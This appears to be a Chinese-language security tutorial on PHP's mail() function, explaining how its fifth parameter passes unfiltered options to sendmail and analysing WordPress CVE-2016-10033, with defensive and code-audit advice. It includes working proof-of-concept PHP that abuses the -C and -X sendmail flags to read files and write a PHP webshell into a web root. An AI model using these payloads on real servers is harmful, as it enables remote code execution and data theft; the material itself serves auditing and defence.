php敏感函数系列之mail()函数可能存在的风险和问题
字数 1358 2025-08-27 12:33:37
PHP mail()函数安全风险与漏洞分析
一、mail()函数基础介绍
1. 函数定义与参数
mail(to, subject, message, headers, parameters)
- $to: 邮件接收者(必需)
- $subject: 邮件主题,不能包含任何换行字符(必需)
- $message: 邮件正文内容(必需)
- $headers: 额外邮件头,如From、Cc、Bcc等(可选)
- $parameters: 传递给sendmail程序的额外参数(可选)
2. 风险点
第五个参数$parameters会直接传递给sendmail程序,而没有任何过滤,这是安全问题的根源。
二、sendmail的危险参数
sendmail程序有几个关键参数可能被滥用:
-
-O option=value
- 设置sendmail的配置选项
- 特别关注
QueueDirectory参数,用于设置邮件队列目录
-
-X logfile
- 记录所有邮件传输日志
- 不限制日志文件路径和格式,可写入任意文件
-
-C file
- 使用替代的配置文件
- 可加载任意路径的任意格式文件
三、安全漏洞类型
1. 任意文件读取漏洞
利用原理:
通过-C参数加载目标文件作为配置文件,然后通过-X参数将文件内容写入日志文件。
示例代码:
<?php
$to = 'a@b.c';
$subject = '<?php system($_GET["cmd"]); ?>';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -C/var/www/html/phpinfo.php -X/var/www/html/1.txt';
mail($to, $subject, $message, $headers, $options);
?>
执行效果:
- 设置临时目录为
/tmp - 加载
/var/www/html/phpinfo.php作为配置文件 - 将配置文件内容写入
/var/www/html/1.txt
2. 任意文件写入/代码执行漏洞
利用原理:
直接通过-X参数将恶意内容写入web可访问目录。
示例代码:
<?php
$to = 'a@b.c';
$subject = '<?php system($_GET["cmd"]); ?>';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';
mail($to, $subject, $message, $headers, $options);
?>
执行效果:
将邮件内容(包含PHP代码)直接写入/var/www/html/rce.php,实现webshell写入。
四、实际案例分析:WordPress CVE-2016-10033
1. 漏洞链分析
-
mail()调用点:
private function mailPassthru($to, $subject, $body, $header, $params) { // ... $result = @mail($to, $subject, $body, $header, $params); // ... } -
$params来源:
protected function mailSend($header, $body) { $params = null; if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } } // ... $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); } -
$this->Sender来源:
$phpmailer->setFrom($from_email, $from_name, false); -
$from_email来源:
$sitename = strtolower($_SERVER['SERVER_NAME']); $from_email = 'wordpress@' . $sitename;
2. 利用条件
- 攻击者可控制
$_SERVER['SERVER_NAME'](通过Host头注入) - 需要绕过
isShellSafe()的过滤检查
3. 漏洞利用流程
- 通过伪造Host头控制SERVER_NAME
- 构造恶意参数注入sendmail命令
- 实现任意文件写入或代码执行
五、防护措施
-
输入验证:
- 严格过滤mail()函数的第五个参数
- 禁止用户输入直接作为参数传递
-
配置加固:
- 禁用PHP的safe_mode时特别小心
- 限制sendmail的执行权限
-
代码审计要点:
- 检查所有mail()调用是否使用第五参数
- 追踪第五参数的数据来源是否可控
- 检查是否有适当的过滤措施
-
替代方案:
- 使用成熟的邮件库(如PHPMailer、SwiftMailer)
- 这些库通常有更好的安全控制和参数过滤
六、审计技巧
-
快速定位漏洞:
- 全局搜索
mail(查找所有调用点 - 检查第五个参数是否存在且是否可控
- 全局搜索
-
数据流追踪:
- 从mail()调用向上追溯参数来源
- 特别关注来自用户输入的数据
-
过滤检查:
- 检查参数是否经过适当的过滤和转义
- 验证过滤逻辑是否可被绕过
通过理解mail()函数的安全风险,审计人员可以更高效地发现相关漏洞,开发人员也能编写更安全的邮件发送代码。